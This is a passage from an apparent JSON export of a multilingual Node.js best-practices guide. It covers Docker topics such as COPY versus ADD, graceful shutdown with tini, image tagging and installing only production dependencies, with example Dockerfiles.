    "content": "[✔]: ../../assets/images/checkbox-small-blue.png\n\n# 通用的Node.js Docker最佳实践\n\n此通用Docker指南部分包含所有编程语言中标准化的最佳实践，并没有针对Node.js的特殊解释\n\n## ![✔] 使用命令COPY优于ADD\n\n**TL;DR:** COPY更安全，因为它只复制本地文件，而ADD支持更高级的获取，比如从远程站点下载二进制文件\n\n## ![✔] 避免更新基础OS\n\n**TL;DR:** 在构建期间更新本地二进制文件（例如apt get update）会在每次运行时创建不一致的映像，并且还需要提升权限。取而代之，使用经常更新的基础镜像\n\n## ![✔] 使用标签对镜像分类\n\n**TL;DR:** 为每个镜像提供元数据（metadata）可能有助于Ops专业人员充分处理它。例如，包括维护人员姓名、构建日期和其他信息，当有人需要对映像进行推理时，这些信息可能会被证明是有用的\n\n## ![✔] 使用非特权容器\n\n**TL;DR:** 特权容器具有与主机上的根用户相同的权限和功能。这是很少需要的，作为一个经验法则，应该使用在官方Node镜像中创建的'node'用户\n\n## ![✔] 检查并验证最终结果\n\n**TL;DR:** 有时很容易忽略构建过程中的副作用，如泄露的秘密或不必要的文件。使用[Dive](https://github.com/wagoodman/dive)等工具检查生成的镜像可以很容易地帮助识别此类问题\n\n## ![✔] 执行完整性检查\n\n**TL;DR:** 在拉取基本镜像或最终镜像时，网络可能会被误导并重定向到下载恶意镜像。除非对内容进行签名和验证，否则标准Docker协议中没有任何内容可以防止这种情况。[Docker Notary](https://docs.docker.com/notary/getting_started/)是一个可以执行此类检查的工具\n"
  },
  {
    "path": "sections/docker/generic-tips.french.md",
    "content": "[✔]: ../../assets/images/checkbox-small-blue.png\n\n# Common Node.js Docker best practices\n\nThis common Docker guidelines section contains best practices that are standardized among all programming languages and have no special Node.js interpretation\n\n## ![✔] Prefer COPY over ADD command\n\n**TL;DR:** COPY is safer as it copies local files only while ADD supports fancier fetches like downloading binaries from remote sites\n\n## ![✔] Avoid updating the base OS\n\n**TL;DR:** Updating the local binaries during build (e.g. apt-get update) creates inconsistent images every time it runs and also demands elevated privileges. Instead use base images that are updated frequently\n\n## ![✔] Classify images using labels\n\n**TL;DR:** Providing metadata for each image might help Ops professionals treat it adequately. For example, include the maintainer name, build date and other information that might prove useful when someone needs to reason about an image\n\n## ![✔] Use unprivileged containers\n\n**TL;DR:** Privileged container have the same permissions and capabilities as the root user over the host machine. This is rarely needed and as a rule of thumb one should use the 'node' user that is created within official Node images\n\n## ![✔] Inspect and verify the final result\n\n**TL;DR:** Sometimes it's easy to overlook side effects in the build process like leaked secrets or unnecessary files. Inspecting the produced image using tools like [Dive](https://github.com/wagoodman/dive) can easily help to identify such issues\n\n## ![✔] Perform integrity check\n\n**TL;DR:** While pulling base or final images, the network might be mislead and redirected to download malicious images. Nothing in the standard Docker protocol prevents this unless signing and verifying the content. [Docker Notary](https://docs.docker.com/notary/getting_started/) is one of the tools to achieve this"
  },
  {
    "path": "sections/docker/generic-tips.japanese.md",
    "content": "[✔]: ../../assets/images/checkbox-small-blue.png\n\n# 一般的な Docker のベストプラクティス\n\nこの Docker ガイドラインのセクションでは、すべてのプログラミング言語の間で共通して通用するベストプラクティスを紹介しており、Node.js に限ったものではありません。\n\n## ![✔] COPY コマンドを ADD コマンドよりも優先する\n\n**TL;DR:** ADD はリモートのサイトからバイナリをダウンロードするといった高度なフェッチ機能をサポートしていますが、COPY はローカルファイルをコピーするためより安全です。\n\n## ![✔] ベース OS をアップデートすることを避ける\n\n**TL;DR:** ビルド中にローカルのバイナリをアップデートする（例：apt-get update）と、実行のたびに一貫性のないイメージが作成され、高度な権限が要求されます。代わりに、頻繁に更新されるベースイメージを利用してください。\n\n## ![✔] ラベルを利用してイメージを分類する\n\n**TL;DR:** 各イメージにメタデータを提供することで、Ops の専任者がイメージを適切に扱うことの助けになるかもしれません。例えば、管理者名やビルド日時、その他の情報を含めることで、誰かがイメージについて推測する必要がある際に有用となる場合があります。\n\n## ![✔] 権限の無いコンテナを利用する\n\n**TL;DR:** 権限を持つコンテナは、ホストマシンの root ユーザと同じ権限と機能を持っています。このような権限が必要になることは滅多に無く、経験則として、公式の Node イメージ内で作成された「node」ユーザを使用するべきです。\n\n## ![✔] 最終的な結果を検査し、検証する\n\n**TL;DR:** シークレットの漏洩や、不要なファイルなど、ビルドプロセスでの副作用を見落としがちなことがあります。[Dive](https://github.com/wagoodman/dive) のようなツールを利用することで、作成されたイメージを検査し、そのような問題を用意に特定することができます。\n\n## ![✔] 完全性チェックを行う\n\n**TL;DR:** ベースイメージや最終イメージをプルする際に、ネットワークがミスリードされて悪意のあるイメージをダウンロードするようにリダイレクトされる可能性があります。コンテンツに署名して検証しない限り、標準の Docker プロトコルではこれを防ぐことはできません。[Docker Notary](https://docs.docker.com/notary/getting_started/) はこれ防ぐためのツールの一つです。\n"
  },
  {
    "path": "sections/docker/generic-tips.md",
    "content": "[✔]: ../../assets/images/checkbox-small-blue.png\n\n# Common Node.js Docker best practices\n\nThis common Docker guidelines section contains best practices that are standardized among all programming languages and have no special Node.js interpretation\n\n## ![✔] Prefer COPY over ADD command\n\n**TL;DR:** COPY is safer as it copies local files only while ADD supports fancier fetches like downloading binaries from remote sites\n\n## ![✔] Avoid updating the base OS\n\n**TL;DR:** Updating the local binaries during build (e.g. apt-get update) creates inconsistent images every time it runs and also demands elevated privileges. Instead use base images that are updated frequently\n\n## ![✔] Classify images using labels\n\n**TL;DR:** Providing metadata for each image might help Ops professionals treat it adequately. For example, include the maintainer name, build date and other information that might prove useful when someone needs to reason about an image\n\n## ![✔] Use unprivileged containers\n\n**TL;DR:** Privileged container have the same permissions and capabilities as the root user over the host machine. This is rarely needed and as a rule of thumb one should use the 'node' user that is created within official Node images\n\n## ![✔] Inspect and verify the final result\n\n**TL;DR:** Sometimes it's easy to overlook side effects in the build process like leaked secrets or unnecessary files. Inspecting the produced image using tools like [Dive](https://github.com/wagoodman/dive) can easily help to identify such issues\n\n## ![✔] Perform integrity check\n\n**TL;DR:** While pulling base or final images, the network might be mislead and redirected to download malicious images. Nothing in the standard Docker protocol prevents this unless signing and verifying the content. [Docker Notary](https://docs.docker.com/notary/getting_started/) is one of the tools to achieve this\n"
  },
  {
    "path": "sections/docker/graceful-shutdown.basque.md",
    "content": "# Itzalaldi dotorea\n\n<br/><br/>\n\n### Azalpena\n\nKubernetes bezalako exekuzio ingurune Dockerizatu batean, edukiontziak sarri jaio eta hiltzen dira. Erroreak jaurtitzen direnean gertatzen da hori, baina baita bestelako arrazoi onak direla eta, hala nola edukiontziak berrerabiltzeagatik edo kontainerrak bertsio berriago batekin ordezkatzeagatik. Eta hori lortzen da prozesuari 30 segunduko itxarote iraupena duen abisu bat (SIGTERM seinalea) bidaliz. Horrek erronka bat gehitzen dio garatzaileari bermatu behar baitu aplikazioa modu egokian ari dela kudeatzen une horretan bertan egikaritzen ari diren eskaerak eta garbiketako baliabideak. Bestela, milaka erabiltzaile goibelduko lirateke erantzunik jasoko ez luketelako. Inplementazioari dagokionez, itzaltze kodeak itxoin beharko du uneko eskaera guztiak bukatuta egon eta ondoren baliabideak garbituta egon arte. Errazagoa da esatea egitea baino, ordea, praktikan hainbat zati kudeatzea eskatzen du eta: esan LoadBalancerari aplikazioak ezin duela eskaera gehiago onartu (health-checkaren bidez), itxaron uneko eskariak amaituta egon arte, ekidin eskaera berriak kudeatzea, garbitu baliabideak eta, azkenik, erregistratu informazio baliagarria hil aurretik. Bizirik matentzeko konexioak (Keep-Alive) erabiliz gero, konexio berriak sortu behar direla jakinarazi behar zaie erabiltzaileei. [Stoppable](https://github.com/hunterloftis/stoppable) bezalako liburutegia laguntza handia izan daiteke hori lortzeko.\n\n<br/><br/>\n\n### Kode adibidea: Node.js prozesu errotzat definitzeak kodeari seinaleak pasatzea ahalbidetzen du ([ikusi abiarazi node erabiliz](./bootstrap-using-node.basque.md))\n\n<details>\n\n<summary><strong>Dockerfile</strong></summary>\n\n```dockerfile\nFROM node:12-slim\n\n# Eraikitze logika hemen dago\n\nCMD [\"node\", \"index.js\"]\n#Hemengo ilarak Node.js prozesu erroa (PID1) bilakatuko du\n\n```\n\n</details>\n\n<br/><br/>\n\n### Kode adibidea: erabili Tily prozesu kudeatzailea seinaleak Noderi berbidaltzeko\n\n<details>\n\n<summary><strong>Dockerfile</strong></summary>\n\n```dockerfile\nFROM node:12-slim\n\n# Eraikitze logika hemen dago\n\nENV TINI_VERSION v0.19.0\nADD https://github.com/krallin/tini/releases/download/${TINI_VERSION}/tini /tini\nRUN chmod +x /tini\nENTRYPOINT [\"/tini\", \"--\"]\n\nCMD [\"node\", \"index.js\"]\n#Hemendik aurrera Nodek PID1 bezala jokatuko duten TINIren azpi prozesuak abiatuko ditu\n\n```\n\n</details>\n\n<br/><br/>\n\n### Anti ereduaren kode adibidea: erabili npm scriptak prozesua hasieratzeko\n\n<details>\n\n<summary><strong>Dockerfile</strong></summary>\n\n```dockerfile\nFROM node:12-slim\n\n# Eraikitze logika hemen dator\n\nCMD [\"npm\", \"start\"]\n#Hemendik aurrera Nodek bigarren mailako prozesuak abiatuko ditu eta npmek ez ditu seinaleak jasoko\n\n```\n\n</details>\n\n<br/><br/>\n\n### Adibidea - Itzaltze faseak\n\n[Rising Stack](https://blog.risingstack.com/graceful-shutdown-node-js-kubernetes/) blogetik\n\n![alt text](../../assets/images/Kubernetes-graceful-shutdown-flowchart.png \"Itzaltze faseak\")\n"
  },
  {
    "path": "sections/docker/graceful-shutdown.french.md",
    "content": "# Shutdown gracefully\n\n<br/><br/>\n\n### One Paragraph Explainer\n\nIn a Dockerized runtime like Kubernetes, containers are born and die frequently. This happens not only when errors are thrown but also for good reasons like relocating containers, replacing them with a newer version and more. It's achieved by sending a notice (SIGTERM signal) to the process with a 30 second grace period. This puts a challenge on the developer to ensure the app is handling the ongoing requests and clean-up resources in a timely fashion. Otherwise thousands of sad users will not get a response. Implementation-wise, the shutdown code should wait until all ongoing requests are flushed out and then clean-up resources. Easier said than done, practically it demands orchestrating several parts: Tell the LoadBalancer that the app is not ready to serve more requests (via health-check), wait for existing requests to be done, avoid handling new requests, clean-up resources and finally log some useful information before dying. If Keep-Alive connections are being used, the clients must also be notified that a new connection should be established - A library like [Stoppable](https://github.com/hunterloftis/stoppable) can greatly help achieving this.\n\n<br/><br/>\n\n\n### Code Example – Placing Node.js as the root process allows passing signals to the code (see [bootstrap using node](./bootstrap-using-node.md))\n\n<details>\n\n<summary><strong>Dockerfile</strong></summary>\n\n```dockerfile\nFROM node:12-slim\n\n# Build logic comes here\n\nCMD [\"node\", \"index.js\"]\n#This line above will make Node.js the root process (PID1)\n\n```\n\n</details>\n\n<br/><br/>\n\n### Code Example – Using Tiny process manager to forward signals to Node\n\n<details>\n\n<summary><strong>Dockerfile</strong></summary>\n\n```dockerfile\nFROM node:12-slim\n\n# Build logic comes here\n\nENV TINI_VERSION v0.19.0\nADD https://github.com/krallin/tini/releases/download/${TINI_VERSION}/tini /tini\nRUN chmod +x /tini\nENTRYPOINT [\"/tini\", \"--\"]\n\nCMD [\"node\", \"index.js\"]\n#Now Node will run a sub-process of TINI which acts as PID1\n\n```\n\n</details>\n\n<br/><br/>\n\n### Code Example Anti Pattern – Using npm scripts to initialize the process\n\n<details>\n\n<summary><strong>Dockerfile</strong></summary>\n\n```dockerfile\nFROM node:12-slim\n\n# Build logic comes here\n\nCMD [\"npm\", \"start\"]\n#Now Node will run a sub-process of npm and won't receive signals\n\n```\n\n</details>\n\n<br/><br/>\n\n### Example - The shutdown phases\n\nFrom the blog, [Rising Stack](https://blog.risingstack.com/graceful-shutdown-node-js-kubernetes/)\n\n![alt text](../../assets/images/Kubernetes-graceful-shutdown-flowchart.png \"The shutdown phases\")"
  },
  {
    "path": "sections/docker/graceful-shutdown.japanese.md",
    "content": "# グレースフルにシャットダウンする\n\n<br/><br/>\n\n### 一段落説明\n\nKubernetes のような Docker 化されたランタイムでは、コンテナは頻繁に生まれては死にます。これはエラーが発生したときだけでなく、コンテナの再配置や新しいバージョンへの置き換えなどの正当な理由でも起こります。これは、30秒の猶予期間を設けてプロセスに通知（SIGTERM シグナル）を送ることで達成されます。これは、アプリが進行中のリクエストやクリーンアップリソースをタイムリーに処理していることを確認するために、開発者に課題を課します。そうでなければ、何千人もの悲しいユーザーがレスポンスを得ることができません。実装的には、シャットダウンコードは進行中のすべてのリクエストが洗い流されるまで待機し、その後でリソースをクリーンアップします。言うのは簡単ですが、実際にはいくつかの部分をオーケストレーションする必要があります: ロードバランサーにアプリがそれ以上のリクエストを提供する準備ができていないことを伝え（ヘルスチェックで）、既存のリクエストが完了するのを待ち、新しいリクエストを処理しないようにし、リソースをクリーンアップし、最後に死ぬ前に有用な情報をログに記録します。キープアライブ接続を使用している場合は、クライアントにも新しい接続を確立するように通知する必要があります - [Stoppable](https://github.com/hunterloftis/stoppable) のようなライブラリはこれを実現するのに非常に役立ちます。\n\n<br/><br/>\n\n\n### コード例 – Node.js をルートプロセスとして配置することで、コードにシグナルを渡すことができます（[bootstrap using node](./bootstrap-using-node.japanese.md) を参照してください）。\n\n<details>\n\n<summary><strong>Dockerfile</strong></summary>\n\n```dockerfile\nFROM node:12-slim\n\n# ビルドロジックはここ\n\nCMD [\"node\", \"index.js\"]\n#この行は Node.js をルートプロセス(PID1)にします。\n\n```\n\n</details>\n\n<br/><br/>\n\n### コード例 – Tiny プロセスマネージャを使用してノードにシグナルを転送する\n\n<details>\n\n<summary><strong>Dockerfile</strong></summary>\n\n```dockerfile\nFROM node:12-slim\n\n# ビルドロジックはここ\n\nENV TINI_VERSION v0.19.0\nADD https://github.com/krallin/tini/releases/download/${TINI_VERSION}/tini /tini\nRUN chmod +x /tini\nENTRYPOINT [\"/tini\", \"--\"]\n\nCMD [\"node\", \"index.js\"]\n#これで Node は PID1 として動作する TINI のサブプロセスを実行します。\n\n```\n\n</details>\n\n<br/><br/>\n\n### アンチパターン　コード例 – npm スクリプトを使ってプロセスを初期化する\n\n<details>\n\n<summary><strong>Dockerfile</strong></summary>\n\n```dockerfile\nFROM node:12-slim\n\n# ビルドロジックはここ\n\nCMD [\"npm\", \"start\"]\n#これで、Node は npm のサブプロセスを実行してシグナルを受信しなくなりました。\n\n```\n\n</details>\n\n<br/><br/>\n\n### 例 - シャットダウンフェーズ\n\nブログ [Rising Stack](https://blog.risingstack.com/graceful-shutdown-node-js-kubernetes/)　より\n\n![alt text](../../assets/images/Kubernetes-graceful-shutdown-flowchart.png \"The shutdown phases\")\n"
  },
  {
    "path": "sections/docker/graceful-shutdown.md",
    "content": "# Shutdown gracefully\n\n<br/><br/>\n\n### One Paragraph Explainer\n\nIn a Dockerized runtime like Kubernetes, containers are born and die frequently. This happens not only when errors are thrown but also for good reasons like relocating containers, replacing them with a newer version and more. It's achieved by sending a notice (SIGTERM signal) to the process with a 30 second grace period. This puts a challenge on the developer to ensure the app is handling the ongoing requests and clean-up resources in a timely fashion. Otherwise thousands of sad users will not get a response. Implementation-wise, the shutdown code should wait until all ongoing requests are flushed out and then clean-up resources. Easier said than done, practically it demands orchestrating several parts: Tell the LoadBalancer that the app is not ready to serve more requests (via health-check), wait for existing requests to be done, avoid handling new requests, clean-up resources and finally log some useful information before dying. If Keep-Alive connections are being used, the clients must also be notified that a new connection should be established - A library like [Stoppable](https://github.com/hunterloftis/stoppable) can greatly help achieving this.\n\n<br/><br/>\n\n\n### Code Example – Placing Node.js as the root process allows passing signals to the code (see [bootstrap using node](./bootstrap-using-node.md))\n\n<details>\n\n<summary><strong>Dockerfile</strong></summary>\n\n```dockerfile\nFROM node:12-slim\n\n# Build logic comes here\n\nCMD [\"node\", \"index.js\"]\n#This line above will make Node.js the root process (PID1)\n\n```\n\n</details>\n\n<br/><br/>\n\n### Code Example – Using Tiny process manager to forward signals to Node\n\n<details>\n\n<summary><strong>Dockerfile</strong></summary>\n\n```dockerfile\nFROM node:12-slim\n\n# Build logic comes here\n\nENV TINI_VERSION v0.19.0\nADD https://github.com/krallin/tini/releases/download/${TINI_VERSION}/tini /tini\nRUN chmod +x /tini\nENTRYPOINT [\"/tini\", \"--\"]\n\nCMD [\"node\", \"index.js\"]\n#Now Node will run a sub-process of TINI which acts as PID1\n\n```\n\n</details>\n\n<br/><br/>\n\n### Code Example Anti Pattern – Using npm scripts to initialize the process\n\n<details>\n\n<summary><strong>Dockerfile</strong></summary>\n\n```dockerfile\nFROM node:12-slim\n\n# Build logic comes here\n\nCMD [\"npm\", \"start\"]\n#Now Node will run a sub-process of npm and won't receive signals\n\n```\n\n</details>\n\n<br/><br/>\n\n### Example - The shutdown phases\n\nFrom the blog, [Rising Stack](https://blog.risingstack.com/graceful-shutdown-node-js-kubernetes/)\n\n![alt text](../../assets/images/Kubernetes-graceful-shutdown-flowchart.png \"The shutdown phases\")\n"
  },
  {
    "path": "sections/docker/image-tags.basque.md",
    "content": "# Ulertu irudi etiketak eta laburpenak eta erabili \"azken\" (latest) etiketak kontu handiz\n\n### Azalpena\n\nEkoizpen aldian segurtasuna eta egonkortasuna garrantzitsuak dira, eta \"erosotasuna\" ez da erabakitze faktore egokiena. Gainera, `:latest` Dockeren lehenetsitako etiketa da. Horrek esan nahi du etiketa esplizitua gehitzea ahaztu duen garatzaileak nahi gabe irudi baten bertsio berria argitaratuko duela, espero gabeko emaitzak sor ditzakeena `latest` etiketa ekoizpeneko azken irudia izatea erabakiz gero.\n\n### Kode adibidea:\n\n```bash\n$ docker build -t company/image_name:0.1 .\n# :azken irudia ez da eguneratua\n$ docker build -t company/image_name\n# :azken irudia eguneratua da\n$ docker build -t company/image_name:0.2 .\n# :azken irudia ez da eguneratua\n$ docker build -t company/image_name:latest .\n# :azken irudia eguneratua da\n```\n\n### Beste bloglariek diotena\n\n[Vladislav Supalov](https://vsupalov.com/docker-latest-tag/)en bloga:\n\n> Batzuek espero dute :latestek beti irudi baten bertsio berrienari erreferentzia egingo diola. Hori ez da egia.\n\n[Docker success center](https://success.docker.com/article/images-tagging-vs-digests) bloga\n\n>\n\n<br/>\n"
  },
  {
    "path": "sections/docker/image-tags.french.md",
    "content": "# Understand image tags vs digests and use the `:latest` tag with caution\n\n### One Paragraph Explainer\n\nIf this is a production situation and security and stability are important then just \"convenience\" is likely not the best deciding factor. In addition the `:latest` tag is Docker's default tag. This means that a developer who forgets to add an explicit tag will accidentally push a new version of an image as `latest`, which might end in very unintended results if the `latest` tag is being relied upon as the latest production image.\n\n### Code example:\n\n```bash\n$ docker build -t company/image_name:0.1 .\n# :latest image is not updated\n$ docker build -t company/image_name\n# :latest image is updated\n$ docker build -t company/image_name:0.2 .\n# :latest image is not updated\n$ docker build -t company/image_name:latest .\n# :latest image is updated\n```\n\n### What Other Bloggers Say\nFrom the blog by [Vladislav Supalov](https://vsupalov.com/docker-latest-tag/):\n> Some people expect that :latest always points to the most-recently-pushed version of an image. That’s not true.\n\nFrom the [Docker success center](https://success.docker.com/article/images-tagging-vs-digests)\n> \n\n<br/>"
  },
  {
    "path": "sections/docker/image-tags.japanese.md",
    "content": "# イメージタグ vs ダイジェストを理解し、`:latest` タグは注意深く利用する\n\n### 一段落説明\n\n本番環境で、セキュリティと安定性を重視するのであれば、「利便性」はベストな決定要因ではないかもしれません。`:latest` タグは Docker のデフォルトタグです。これが意味することは、明示的なタグを追加し忘れた開発者は誤って新しいバージョンのイメージを `latest` としてプッシュしてしまうかもしれないということです。`latest` タグが最新の本番環境のイメージとして利用されている場合には、意図しない結果を招く可能性があります。\n\n### コード例:\n\n```bash\n$ docker build -t company/image_name:0.1 .\n# :latest イメージはアップデートされない\n$ docker build -t company/image_name\n# :latest イメージはアップデートされる\n$ docker build -t company/image_name:0.2 .\n# :latest イメージはアップデートされない\n$ docker build -t company/image_name:latest .\n# :latest イメージはアップデートされる\n```\n\n### 他のブロガーが言っていること\n\n[Vladislav Supalov](https://vsupalov.com/docker-latest-tag/) のブログより:\n> 一部の人は、:latest タグは直近でプッシュされたバージョンのイメージを指していると思っています。しかし、そうではありません。\n\n[Docker success center](https://success.docker.com/article/images-tagging-vs-digests)\n\n<br/>\n"
  },
  {
    "path": "sections/docker/image-tags.md",
    "content": "# Understand image tags vs digests and use the `:latest` tag with caution\n\n### One Paragraph Explainer\n\nIf this is a production situation and security and stability are important then just \"convenience\" is likely not the best deciding factor. In addition the `:latest` tag is Docker's default tag. This means that a developer who forgets to add an explicit tag will accidentally push a new version of an image as `latest`, which might end in very unintended results if the `latest` tag is being relied upon as the latest production image.\n\n### Code example:\n\n```bash\n$ docker build -t company/image_name:0.1 .\n# :latest image is not updated\n$ docker build -t company/image_name\n# :latest image is updated\n$ docker build -t company/image_name:0.2 .\n# :latest image is not updated\n$ docker build -t company/image_name:latest .\n# :latest image is updated\n```\n\n### What Other Bloggers Say\nFrom the blog by [Vladislav Supalov](https://vsupalov.com/docker-latest-tag/):\n> Some people expect that :latest always points to the most-recently-pushed version of an image. That’s not true.\n\nFrom the [Docker success center](https://success.docker.com/article/images-tagging-vs-digests)\n> \n\n<br/>\n"
  },
  {
    "path": "sections/docker/install-for-production.basque.md",
    "content": "# Ezabatu garapen menpekotasunak\n\n<br/><br/>\n\n### Azalpena\n\nGarapen menpekotasunek asko handitzen dute edukiontziaren eraso azalera (esaterako, segurtasun ahulezia potentzialak) eta edukiontziaren tamaina. Adibide gisa, npm segurtasun zulo handienak [eslint-scope](https://eslint.org/blog/2018/07/postmortem-for-malicious-package-publishes) bezakako garapen menpekotasunek sortuak izan ziren, edo [nodemonek erabilitako ebentu katea](https://snyk.io/blog/a-post-mortem-of-the-malicious-event-stream-backdoor/) bezalako garapenerako paketeek. Arrazoi horiek direla eta, ekoizpenerako bidaliko den irudiak segurua eta txikia izan behar du. Hasiera bikaina da npm install komandoa `--production`ekin abiatzea. Hala ere, `npm ci` erabiltzea oraindik seguruagoa da, hutsetik sortutako instalazioa eta sarrail filtxategiaren sorrera ziurtatzen ditu eta. Tokiko cachea ezabatzeak hamarkada MB gehiago berreskuratzen lagun dezake. Sarritan edukiontzi batean probatu edo araztu behar izaten da devDependencies erabiliz. Kasu horretan, [etapa anitzeko konpilazioek](./multi_stage_builds.basque.md) menpekotasun multzo zenbaita izaten lagun dezakete eta, azkenik, ekoizpenerako behar direnak soilik.\n\n<br/><br/>\n\n### Kode adibidea: ekoizpenerako instalazioa\n\n<details>\n\n<summary><strong>Dockerfile</strong></summary>\n\n```dockerfile\nFROM node:12-slim AS build\n\nWORKDIR /usr/src/app\nCOPY package.json package-lock.json ./\nRUN npm ci --production && npm clean cache --force\n\n# Gainontzeko guztia hemen dator\n```\n\n</details>\n\n<br/><br/>\n\n### Kode adibidea: ekoizpenerako instalazioa etapa anitzeko eraikuntzarekin\n\n<details>\n\n<summary><strong>Dockerfile</strong></summary>\n\n```dockerfile\nFROM node:14.8.0-alpine AS build\n\nCOPY --chown=node:node package.json package-lock.json ./\n# ✅ Instalazio segurua\nRUN npm ci\nCOPY --chown=node:node src ./src\nRUN npm run build\n\n\n# Run-time stage\nFROM node:14.8.0-alpine\n\nCOPY --chown=node:node --from=build package.json package-lock.json ./\nCOPY --chown=node:node --from=build node_modules ./node_modules\nCOPY --chown=node:node --from=build dist ./dist\n\n# ✅ Garapen paketeak garbitu\nRUN npm prune --production\n\nCMD [ \"node\", \"dist/app.js\" ]\n```\n\n</details>\n\n<br/><br/>\n\n### Anti ereduaren kode adibidea: instalatu menpekotasun guztiak Dockerfile fitxategiko etapa bakarrean\n\n<details>\n\n<summary><strong>Dockerfile</strong></summary>\n\n```dockerfile\nFROM node:12-slim AS build\n\nWORKDIR /usr/src/app\nCOPY package.json package-lock.json ./\n# Bi akatz hemen: Garapen menpekotasunak instalatu eta cachea ez ezabatu npm install egin ondoren\nRUN npm install\n\n# Gainontzeko guztia hemen dator\n```\n\n</details>\n\n<br/><br/>\n\n### Blogeko aipua: \"gainera, instalazio arrunta baino zorrotzagoa da npm ci\"\n\n[npmen dokumentazioa](https://docs.npmjs.com/cli/ci.html)\n\n> Komando hau npm-installen antzekoa da, salbu eta ingurune automatizatuetan erabiltzeko sortua dela, hala nola, proben plataformak, integrazio eta inplementazio jarraituak, edo zure menpekotasunen instalazio garbi bat egiten ari zarela ziur zauden egoeretan. npm install askoz azkarragoa izan liteke komando arrunta baino, erabiltzaileentzako funtzionalitate batzuk alde batera uzten dituelako. Instalazio arrunt bat baino zorrotzagoa ere bada, npm erabiltzaile gehienek gutxinaka-gutxinaka instalatutako tokiko inguruneek sortzen dituzten erroreak edo kontraesanak identifikatzen lagungarri izan daitekeena.\n"
  },
  {
    "path": "sections/docker/install-for-production.french.md",
    "content": "# Remove development dependencies\n\n<br/><br/>\n\n### One Paragraph Explainer\n\nDev dependencies greatly increase the container attack surface (i.e. potential security weakness) and the container size. As an example, some of the most impactful npm security breaches were originated from devDependencies like [eslint-scope](https://eslint.org/blog/2018/07/postmortem-for-malicious-package-publishes) or affected dev packages like [event-stream that was used by nodemon](https://snyk.io/blog/a-post-mortem-of-the-malicious-event-stream-backdoor/). For those reasons the image that is finally shipped to production should be safe and minimal. Running npm install with a `--production` is a great start, however it gets even safer to run `npm ci` that ensures a fresh install and the existence of a lock file. Removing the local cache can shave additional tens of MB. Often there is a need to test or debug within a container using devDependencies - In that case, [multi stage builds](./multi_stage_builds.md) can help in having different sets of dependencies and finally only those for production.\n\n<br/><br/>\n\n### Code Example – Installing for production\n\n<details>\n\n<summary><strong>Dockerfile</strong></summary>\n\n```dockerfile\nFROM node:12-slim AS build\n\nWORKDIR /usr/src/app\nCOPY package.json package-lock.json ./\nRUN npm ci --production && npm cache clean --force\n\n# The rest comes here\n```\n\n</details>\n\n<br/><br/>\n\n### Code Example – Installing for production with multi-stage build\n\n<details>\n\n<summary><strong>Dockerfile</strong></summary>\n\n```dockerfile\nFROM node:14.8.0-alpine AS build\n\nCOPY --chown=node:node package.json package-lock.json ./\n# ✅ Safe install\nRUN npm ci\nCOPY --chown=node:node src ./src\nRUN npm run build\n\n\n# Run-time stage\nFROM node:14.8.0-alpine\n\nCOPY --chown=node:node --from=build package.json package-lock.json ./\nCOPY --chown=node:node --from=build node_modules ./node_modules\nCOPY --chown=node:node --from=build dist ./dist\n\n# ✅ Clean dev packages\nRUN npm prune --production\n\nCMD [ \"node\", \"dist/app.js\" ]\n```\n\n</details>\n\n\n<br/><br/>\n\n### Code Example Anti-Pattern – Installing all dependencies in a single stage dockerfile\n\n<details>\n\n<summary><strong>Dockerfile</strong></summary>\n\n```dockerfile\nFROM node:12-slim AS build\n\nWORKDIR /usr/src/app\nCOPY package.json package-lock.json ./\n# Two mistakes below: Installing dev dependencies, not deleting the cache after npm install\nRUN npm install\n\n# The rest comes here\n```\n\n</details>\n\n<br/><br/>\n\n### Blog Quote: \"npm ci is also more strict than a regular install\"\n\nFrom [npm documentation](https://docs.npmjs.com/cli/ci.html)\n\n> This command is similar to npm-install, except it’s meant to be used in automated environments such as test platforms, continuous integration, and deployment – or any situation where you want to make sure you’re doing a clean install of your dependencies. It can be significantly faster than a regular npm install by skipping certain user-oriented features. It is also more strict than a regular install, which can help catch errors or inconsistencies caused by the incrementally-installed local environments of most npm users."
  },
  {
    "path": "sections/docker/install-for-production.japanese.md",
    "content": "# 開発依存性の除去\n\n<br/><br/>\n\n### 一段落説明\n\nDev-Dependencies は、コンテナへの攻撃面 (つまり潜在的なセキュリティ上の弱点) とコンテナサイズを大幅に増加させます。例として、最も影響力のある npm のセキュリティ侵害のいくつかは、[eslint-scope](https://eslint.org/blog/2018/07/postmortem-for-malicious-package-publishes) のような devDependencies や、[nodeemon が使用していた event-stream](https://snyk.io/blog/a-post-mortem-of-the-malicious-event-stream-backdoor/) のような Dev-Dependencies に由来しています。これらの理由から、最終的に本番環境に出荷されるイメージは安全で最小限のものでなければなりません。npm install を `--production` で実行するのは素晴らしいスタートですが、新鮮なインストールとロックファイルの存在を保証する `npm ci` を実行するとさらに安全になります。ローカルキャッシュを削除することで、さらに数十 MB 削ることができます。devDependencies を使ってコンテナ内でテストやデバッグをする必要がある場合がよくあります - その場合、[multi stage builds](./multi_stage_builds.japanese.md) は、異なる依存関係のセットを持ち、最終的には本番用の依存関係だけを持つのに役立ちます。\n\n<br/><br/>\n\n### コード例 – 本番環境向けのインストール\n\n<details>\n\n<summary><strong>Dockerfile</strong></summary>\n\n```dockerfile\nFROM node:12-slim AS build\n\nWORKDIR /usr/src/app\nCOPY package.json package-lock.json ./\nRUN npm ci --production && npm clean cache --force\n\n# 残りはここに来ます\n```\n\n</details>\n\n<br/><br/>\n\n### コード例 – マルチステージビルドを使用した本番環境向けのインストール\n\n<details>\n\n<summary><strong>Dockerfile</strong></summary>\n\n```dockerfile\nFROM node:14.8.0-alpine AS build\n\nCOPY --chown=node:node package.json package-lock.json ./\n# ✅ セーフインストール\nRUN npm ci\nCOPY --chown=node:node src ./src\nRUN npm run build\n\n\n# ランタイムステージ\nFROM node:14.8.0-alpine\n\nCOPY --chown=node:node --from=build package.json package-lock.json ./\nCOPY --chown=node:node --from=build node_modules ./node_modules\nCOPY --chown=node:node --from=build dist ./dist\n\n# ✅ 開発パッケージをクリーンにする\nRUN npm prune --production\n\nCMD [ \"node\", \"dist/app.js\" ]\n```\n\n</details>\n\n\n<br/><br/>\n\n### アンチパターン　コード例 – すべての依存関係を1つのステージの dockerfile にインストールする\n\n<details>\n\n<summary><strong>Dockerfile</strong></summary>\n\n```dockerfile\nFROM node:12-slim AS build\n\nWORKDIR /usr/src/app\nCOPY package.json package-lock.json ./\n# 以下2つのミスがあります: dev の依存関係のインストールをし、npm インストール後にキャッシュを削除していません\nRUN npm install\n\n# The rest comes here\n```\n\n</details>\n\n<br/><br/>\n\n### ブログ引用: \"npm ci is also more strict than a regular install(npm ci 